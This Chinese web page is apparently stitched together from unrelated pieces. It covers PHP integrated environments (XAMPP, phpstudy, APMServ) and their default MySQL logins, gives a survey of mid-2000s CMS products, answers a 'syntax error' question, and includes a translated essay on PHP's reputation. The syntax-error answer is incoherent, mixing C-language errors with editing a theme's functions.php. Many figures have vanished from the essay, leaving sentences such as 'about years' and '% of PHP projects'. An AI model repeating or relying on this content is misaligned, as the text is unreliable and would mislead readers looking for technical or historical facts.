AppServ 2.6.0组件版本:

Apache 2.2.8

PHP 6.0.0-dev

MySQL 6.0.4-alpha

phpMyAdmin-2.10.3

2.XAMPP (功能全面)

XAMPP是一款具有中文说明的功能全面的集成环境,XAMPP并不仅仅针对Windows,而是一个适用于Linux、Windows、Mac OS X 和Solaris 的易于安装的Apache 发行版。软件包中包含Apache 服务器、MySQL、SQLite、PHP、Perl、FileZilla FTP Server、Tomcat等等。默认安装开放了所有功能,安全性有问题,需要对以下安全问题进行设定。

MySQL 管理员(root)未设置密码。

MySQL 服务器可以通过网络访问。

PhpMyAdmin 可以通过网络访问。

样例可以通过网络访问。

Mercury 邮件服务器和 FileZilla FTP 服务器的用户是公开的。

3.WampServer (简便易用)

主页

WampServer - WampServe集成了Apache、MySQL、PHP、phpmyadmin,支持Apache的mod_rewrite,PHP扩展、Apache模块只需要在菜单“开启/关闭”上点点就搞定,省去了修改配置文件的麻烦。

4. phpstudy

该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。总之学习PHP只需一个包。

对学习PHP的新手来说,WINDOWS下环境配置是一件很困难的事;对老手来说也是一件烦琐的事。因此无论你是新手还是老手,该程序包都是一个不错的选择。

1、全面适合 Win2000/XP/2003 操作系统,IIS和Apache二选一安装。

2、该程序包集成以下软件,均为最新版本。

PHP 5.2.5 新型的CGI程序编写语言,易学易用、速度快、跨平台。

Apache 2.2.8 最流行的HTTP服务器软件,快速、可靠、开源。

MySQL 5.0.45 执行性能高,运行速度快,容易使用,非常棒数据库。

phpMyAdmin 2.11.4 开源、基于WEB而小巧的MySQL管理程序。

ZendOptimizer 3.3.0 免费的PHP优化引擎,性能提高30%以上。

OpenSSL 0.9.8g 密码算法库、SSL协议库以及应用程序。

eAccelerator 0.9.5.2 又一加速,不亚于ZendOptimizer。

3、如果作为服务器请稍修改配置文件即可。MySQL数据库用户名:root,密码root,安装后请重新设置密码。

5.APMServ

APMServ 5.2.0 是一款拥有图形界面的快速搭建Apache 2.2.3、PHP 5.2.0、MySQL 5.0.27&4.0.26、SQLite、ZendOptimizer、OpenSSL、phpMyAdmin、

SQLiteManager,以及ASP、CGI、Perl网站服务器平台的绿色软件。无需安装,具有灵活的移动性,将其拷贝到其它目录、分区或别的电脑时,均只需点击APMServ.exe

中的启动按钮,即可自动进行相关设置,将Apache和MySQL安装为系统服务并启动。APMServ集合了Apache稳定安全的优点,并拥有跟IIS一样便捷的图形管理界面,同

时支持MySQL 5.0 4.0两个版本,虚拟主机、虚拟目录、端口更改、SMTP、上传大小限制、自动全局变量、SSL证书制作、缓存性能优化等设置,只需鼠标一点即可完

成。

1、注意事项:APMServ程序所在路径不能含有汉字和空格。

2、MySQL默认用户名:root,密码为空

3、MySQL数据库文件存放目录:MySQL5.0/data或MySQL4.0/data

4、网站根目录[HTML,PHP]www/htdocs [ASP]www/asp [CGI,Perl]www/cgi-bin

5、访问本机请用127.0.0.1/或 (如果开启SSL)

6、非默认端口,网址为127.0.0.1:端口/或:端口/

7、APMServ集成了以下软件:

Apache 2.2.3 [HTTP服务器]

NetBox 2.8 Build 4128 [HTTP服务器+ASP脚本解释引擎]

PHP 5.2.0 [PHP脚本解释引擎]

MiniPerl 5.8 [Perl脚本解释器]

MySQL 5.0.27 [MySQL数据库服务器]

MySQL 4.0.26 [MySQL数据库服务器]

SQLite 3.3.8 [SQLite数据库服务器]

phpMyAdmin 2.9.1.1 [MySQL数据库在线管理工具]

SQLiteManager 1.2.0 [SQLite数据库在线管理工具]

ZendOptimizer 3.2.0 [PHP脚本加速引擎]

OpenSSL 0.9.8d [HTTPS(SSL)安全传输协议]

附加组件:

一Perl、CGI支持(需下载ActivePerl):

APMServ 5.2.0 附带的是MiniPerl,可以运行简单的Perl、CGI程序。如果运行复杂的Perl、CGI程序,请下载ActivePerl,安装在APMServ所在分区根目录下的usr目录中。假如APMServ所在目录为E:/APMServ5.2.0,则将ActivePerl的安装路径选为E:/usr

什么是CMS发布系统模式

分类: 电脑/网络 软件

问题描述:

如题

解析:

CMS(Content Management System),中文叫网站内容管理系统,大概2004以前,如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流,但没有好的程序支持,还继续靠手工完成是不可能的事,如果有一个好的系统来支撑你的网站,那将节省大量的人力物力,开发者就可能给客户一个软件包,可以用它定期人工修改网站。只要你配置安装好,你的编辑,在线记者,更新员只要定期更新数据,剩下的事就交给CMS去处理。

功能主机 官方网站:top/

功能主机系统可以说是2005年国内cms系统的一个亮点,这套产品是完全国人开发的cms产品,在目前各种cms产品设计上趋同的环境下,该产品另辟蹊径其最大的特色在于创新的网页布局控制,以及对于网站模版的多样,化流程化所作的巨大贡献,可以这样说在对于网站效果与文章内容的控制上该产品超过国内外的其它产品,完善的文档和开放的模版及功能组件接口也是值得称道的,当然该产品的后台界面设计不清晰初学者需要一个接受过程,目前功能主机的免费版只能通过其合作商获得而不能单独下载这也是一个很大的遗憾。

动易CMS管理系统,官方网站:asp163/

这套是国产AspCMS中非常强大的系统,从3.0的简单的一个文章系统到现在的2005的版本,一路走来,动易不断完善,而且也不断加强功能,包括个人版,学校版, *** 版,企业版,后台包括的功能,信息发布,类别管理,权限控制,信息采集,而且跟第三方的程序,比如论坛,商城(2005的已经自带了),blog可以完美结合,基本上可以满足一个中大型网站的要求,但Asp和Access的的局限性,还有本身功能Dll的限制,使得免费版差不多成鸡肋,

风讯 官方网站:foosun/

风讯的系统功能强大,自由度高,是现在人气比较高的系统之一,可以根据自己的想法做出一个网页从而建立一个有自我风格的网站,更新速度快,一直有新的版本出现,现在又开放采集、下载、投稿、图片整站管理系统,第三方整合等功能,开源是它最大特点,希望保持。然后缺点就是后台人性化差了一点,上手有点难度,而且连一套默认的模板都没有,因为自由度太高了,让一些新手更难上手,还有就是免费版的生成静态发布的效率不高。3.1已经出来一段时间了,愿各方面都更上一层楼。

新云网站管理系统 官方newasp/

一款Asp的CMS后起之秀,发现有不少的网站都在使用。由文章、下载、商城、留言、用户管理五大功能模块和广告、公告、连接、统计、采集、模板管理、数据库管理等多个通用模块组成,而且功能确实有一些值得称道的地方,不过又是DLL的,免费版有不少的限制,但对一个简单基本的网站来说,功能够用了。

乔客(asp) 官方网站:joekoe/

这个系统已经很久了,但好像一直存活在动易和风讯两者之间,现在3.0的Joekoe CMS出来了,但另我比较失望,相比免费版的1.2,功能是增强了,但也Dll,这个可能也是国产程序的一个特色罢了。它本身已经是一个融合度非常高的系统,有商城,新闻,下载,论坛,留言,影视,博客圈等,感觉有那么点WEB2.0 的味道,不想怎么修改的朋友直接拿去就可以用了。

NB文章系统(asp) 官方:forum.nbarticle/default

现在最新的是v2.1 RC1 ,上手挺容易,后台很简洁,安全性能不错,发布效率比较高,当然想到同类型的,RSS不错,它也是将模板写入数据库,但修改还是蛮方便。不过这样相对来说功能是少了一些,而且官方就一个论坛技术支持,论坛的人气差了一点。

渐飞新闻出版系统(asp) 官方网站: xunt/

这个系统也有一段时日了,不过到现在还是1.1的版本,以前名头特别响,

不过主要针对的是商业客户,看客户演示,个个都像门户,但因为没免费版的支撑,市场也一直没做大。

大世纪(Asp) 官方网站:big/

很老的系统,差不多就算是个文章,新闻系统,

现在连官方都打不开了,这样的估计也没多少前景。

说到php的CMS,也跟Asp差不多,可以算是百花齐放。

PhpArtile 官方:21ds/

这个算是国内phpCms的祖宗了,PA由 PHP 语言开发, 使用 MySQL 数据库保存数据 ,

为中小型网站发表文章, 存放资料, 新闻发布提供一个完美的解决方案。

做了好几年了,3.0迟迟还在开发中,今年出了2.1火了一阵,又熄灭了,以前用的人挺多的,

现在基本上没落了

phpcms 官方:phpcms/

好像以前是9466Article的官方,本来9466做得挺好的,不知为什么突然zend加密了,

继承了9466的优点,上手,结构,提供插件接口,可自主开发插件,自主制作语言包,

自主设计模板风格,免费版可永久使用,功能还可以。

OKphp .okphp

同样加密的,免费版也不见怎么有人用,系统倒是开发了好久了,整合了论坛,blog,新闻,

分有企业版,门户版,还有免费的,看起来像老外的Nuke,个人感觉没多少特别之处。

美丽心雨 官方:xydw/

美丽心雨CMS是心雨动网独立开发制作的网站管理系统,基本上网站管理的功能有了,

从1.01到现在的1.4,官方的开发人员也一直在努力中。

DedeCMS 官方:dedecms/

这是一套令人爱憎分明的系统,首先它是国内一款开源的系统,2.x的时候功能都已经另它的fans为之疯狂,

非常灵活的定制,强大的功能,简洁的操作,但2.x的瓶颈问题:大数据处理,到3.0的时候可能会解决,

但3.0的一直跳票,迟迟不见发布,另很多人都非常失望,希望能在3.0的时候看到一个全新的Dedecms,

当然也支持开源产品。

Ss-cms 官方:ss-cms/

作者我见过,一个非常有活力的家伙,程序跟他一样,国产的开源系统,

生成静态,信息采集,文章和下载集成,但作者都是出于兴趣爱好开发,1.0出来后就不见踪影了,好像现在在搞书库。

随意Cmsez CMS 官方:cmsez/

程序的作者和Ss-cms的作者是好朋友,他也是出于个人爱好做这个,而且主要面向企业用户,

Cmsez集成了丰富的功能模块,colorbird/(七色鸮..??型客户,

看七色鸟,你或许可以知道他的作品如何了。

CMSware 官方:cmsware/

一个非常不错的CMS系统,比较看好的他的后台操作简介,一些新技术,比如Ajax的应用,Wap的功能,

还有它的PSN的发布,节点和模块的定制,,自定义模型,数据库字段,

率先引进的工作流的概念,更多的发布自由度,非常强大的模板体系,

确实处处体现了自由的思想,让您体验自由管理的非凡感受.

Ecms 帝国网站管理系统 官方:phome/

可以说这个是最让我值得写的东西,官方的title里面是在这里只有原创,

比如数据库管理,论坛,新闻,下载,flash,域名交易系统等,

还包括JSP的版本,都是自己一个人写,还有一个人搞定后期服务,客户支持,产品宣传。

还要每天抽时间灌水AD,ECMS的功能非常多,包括下载,flash,商城,图片,新闻,友情链接,广告管理等,

比如一些远程发布,刷新效率,类别管理,权限细分,万能的论坛接口,信息采集,附件管理等这些都是Ecms特别的亮点,

而且免费版也不错,作者WC也非常虚心接受客户的建议,

基本上任何一个小的功能,都力求做到最好,

他明白用户的需求,一切能从用户本身出发的系统才是好的系统,

3.6已经出来了,而且下一个版本可能会结合EXE软件发布,刷新的功能,让我们拭目以待。

ecms的典型客户 china

.Net

动网新闻(asp)

最新的4.X也出来了,也是DLL的,不过系统是.NET的,不过我个人不趋向使用DLL的系统,

运行速度快,效率高,安全做足。

不过以前3.X的没有Dll,感觉也蛮好的,

缺点就是风格改起来不容易。

现在加密了,反而能更快上手,不过这样可以定制的地方就少了。

还有一个倒奶CMS,也是的,不见什么特别之处,一笔带过。

JSP

大概有这些:

Netark CMS

方正翔宇CMS

开源的Magnolia

Magnolia CMS

不过JSP的应用门槛对我们个人用户来说,有点高,也不想多提

当然还有一些系统比如说,Asp的国产FeitecCMS ,WpsCms等,国外的FullXML,php的国产有MePhp,天下站长php等,

都没见多少特色,不用也罢。

TurboCMS 这样只面向企业用户,几十万的系统,我们也不用考虑。

Struts中文版,Spring 开源系统,Gpower CMS,还有Java的 Ion,opencms,Jboss Nuke等老外做的,

国外的php的比如phpnuke,phppost,还有非常昂贵的phpcow,Bitrix Site Manager-CMS($1699),

比较廉价的Subdreamer,koobi CMS,ActiveKB团队的ArticleLive NX,newsphp

还有免费的Xoops,功能繁多的玩意,Mambo这样的开源系统,还有Mambo的变种LimboCMS,Mamhoo 。

不符合国情的,在国内也没见流行

还有国外CMS的大全:bbs.china/t602 自己有空去翻翻

如果要比较老外CMS的也可以进去看看:bbs.china/t5429 直接选择2-10项,,有详细的列表说。

现在每个CMS功能介绍上都会说自己的产品如何强大,比如说什么模板体系如何好,

缓存技术如何高明,刷新效率,负载容量如何强,操作如何如何简单,容易上手,跟第三方无缝结合,还有功能模块的如何丰富,生成静态发布,信息采集……

吹牛谁都会,大家都会写,关键是客户如何认为,反正一句话,适合自己的就是最好的。

nuke文件显示syntaxerrorat怎么办

修改主题中的functions.php文件来实现一些额外的功能或修改一些代码等。

C语言调试中,其实会比较常看到“syntaxerror”,其实syntaxerror错误的意思就是“语法错误”,简单来说也就是大家在输入代码过程中出现了输入错误的语句,这个时候就会导致程序发生了语法上的错误。首先恢复一下修改程序文件之前的备份。恢复后,检查程序代码是否有语法问题。通常情况下,经常都会修改主题中的functions.php文件来实现一些额外的功能或修改一些代码等。

为什么说PHP是个集中营

有一天我跟在 DUMBO 的一个非常棒的创业公司的老板聊天 谈到为什么非PHP界的开发人员普遍轻视PHP和PHP相关社区 他提出了一个观点让我印象很深 很大程度上是因为以前从来没有听到过这样的说法

如果你不知道大多数的程序员都会对PHP发什么样的牢骚 那么 这些牢骚差不多会像这样

语法丑陋

缺乏其它语言都有的一些必要的特征(在 版本之前 没有命名空间 闭包)

不一致的函数命名 使用惯例 以及其它一些怪异的东西

过程和面向对象的杂混

基本上 %的PHP项目都烂如一堆狗屎

但他所说的PHP的问题却是另外一个问题 他并没有说这种语言有问题——他认为这种语言被一种常见的文化现象包围着 是一种通常由语言的创造者造就的文化传统 现在看来这对一些糟糕的编程实践方法起到了鼓励作用 也就是它使PHP代码变的劣质和不可维护

这种一个语言或框架上体现出创始人的哲学思想并被相关社区推崇的现象是的确存在的 他拿出来Ruby和其创始人 Matz 作为例子 Matz想要的是一种易读易写 能提高程序员工作效率的语言 没看见Ruby开发人员们言之必称快速开发以及这种语言的优雅?

接着就是 DHH 和他的Rails框架 还有 Guido 和他的Python语言 于是我在想 Ra *** us 对于PHP呢?

Ra *** us Lerdorf给人的印象非常的有趣 他创建了最初版的PHP语言 而且一直在改进这种语言 他在PHP社区里被当作神一样崇拜 他在PHP的任何方面都 享有最大的权威 他被众多的会议邀请去做演讲 同时被大网络公司(yahoo )所雇用 他获得了所有人的尊敬——尽管有这样一种事实 他成了大多 数的非PHP程序员所鄙视的PHP上的众多问题的形象代表

Ra *** us倡导避免使用框架 而把PHP更多的当作一种模板语言 对他来说 这种做法能产生直接的运行效率和可扩展性(程序负载可知) 而对于其 他的所有人来说 这种做法导致了大量的乱炖似的过程式代码 大量的无法维护的项目 自从 年PHP诞生至今大概 年左右的时间里 所有的PHP项 目都是按照这种指导写成的

与此同时另外一个问题突然的出现了 在PHP 之前 PHP的初期 PHP获得了大量的新手的追随 这种语言的入门门槛出奇的低 任何人都可以 下载自解压的×AMP Windows程序安装包 在 两分钟内用上这种语言 除此之外 那时在Web开发方式上对MVC模式的共识并没有真正的出现 这样一来你可以想象 一群 新手和一个缺乏好的开发实践方法的语言组合到一起能创造出什么?一堆无法维护的垃圾 而且整个大环境都是这样

不要误解我的话——优秀的PHP开发者还是不少的 即使是当时 但是 就像我说的 粗制滥造的菜鸟作品到处都是 当牛仔式无羁的PHP程序员在没有 指导原则的情况下聚集到一起开发程序 于是像PHPbb PHPNuke以及很多的粗糙的 php 程序包就出现了 但是你能单纯的责怪PHP开发人员吗?不能!其它的Web语言巨人 ASP和Perl 同样恶 名远扬 同样宣传着一种乱炖式的开发方式

所以这就是为什么PHP会得到这样的骂名 是因为它的历史流传 大多数已经转向Python Ruby和Java的PHP开发人员并没有在MVC概 念兴起时回头去重新思考这种语言 此外 更有一些像”Ruby公子“Zed Shaw抱怨一些程序员的思想”受PHP毒害“这样的露骨的讽刺 像这样的言论在 RubyInside 上很盛行

PHP是个集中营

但像Zend和CodeIgniter这样的框架的出现把这种语言推向了正确的开发方向上 事实上 它把PHP推向了与Ra *** us所希望看到的相反的方向上了 查看一下Zend和CodeIgniter框架 你会发现它们是为数不多的文档写的很好 代码写的很好的程序

大多数学习了Ruby的开发人员同时都要学习Rails和MVC知识 PHP在此之前已经被使用了整整 年 对于那些新手来说 可恶的Ruby没 有给他们这段时间让他们自由发挥 Rails有现成的标准指导 它的入门门槛相对高很多 通常会把一些缺少经验的开发人员挡在门外

事实上 PHP应用程序是可以向其它种语言那样写的很好 而且还会具有一定的运行速度上的优势 PHP世界里的MVC风格的开发方法兴起只是在近几年才出现的现象 不得不承认 我们应该感谢Rails带来的这种变化

那么 PHP如今是个什么样呢?

各种标准(非统一 但大多数项目使用MVC 很少有垃圾般的过程式程序)

很低的入门门槛

速度和可扩展性(在各种脚本语言里PHP应该是最好的)

有一个好的单元测试框架

有最好的各国语言翻译的文档

除此之外 互联网上大多数有影响的网站都使用PHP作为它们后台的语言或工具 诸如Facebook Digg 维基百科 Wordpress Drupal等等 我相信 对PHP有一个深入的掌握会使一个程序员打开更多的未知领域的大门

如果你不赞同上面所说的 请留下评论 或email给我——我想听听你为什么不这么认为

事实上 我并不是一个PHP迷 我对语言没有感觉 我使用PHP大多是因为——你猜到了——有人愿意付钱给我 所以一切归咎于此

如果你希望在软件设计上做出明智的决定 PHP是你开发Web应用程序的最佳选择

lishixinzhi/Article/program/PHP/201311/21122

(责任编辑:IT教学网)

更多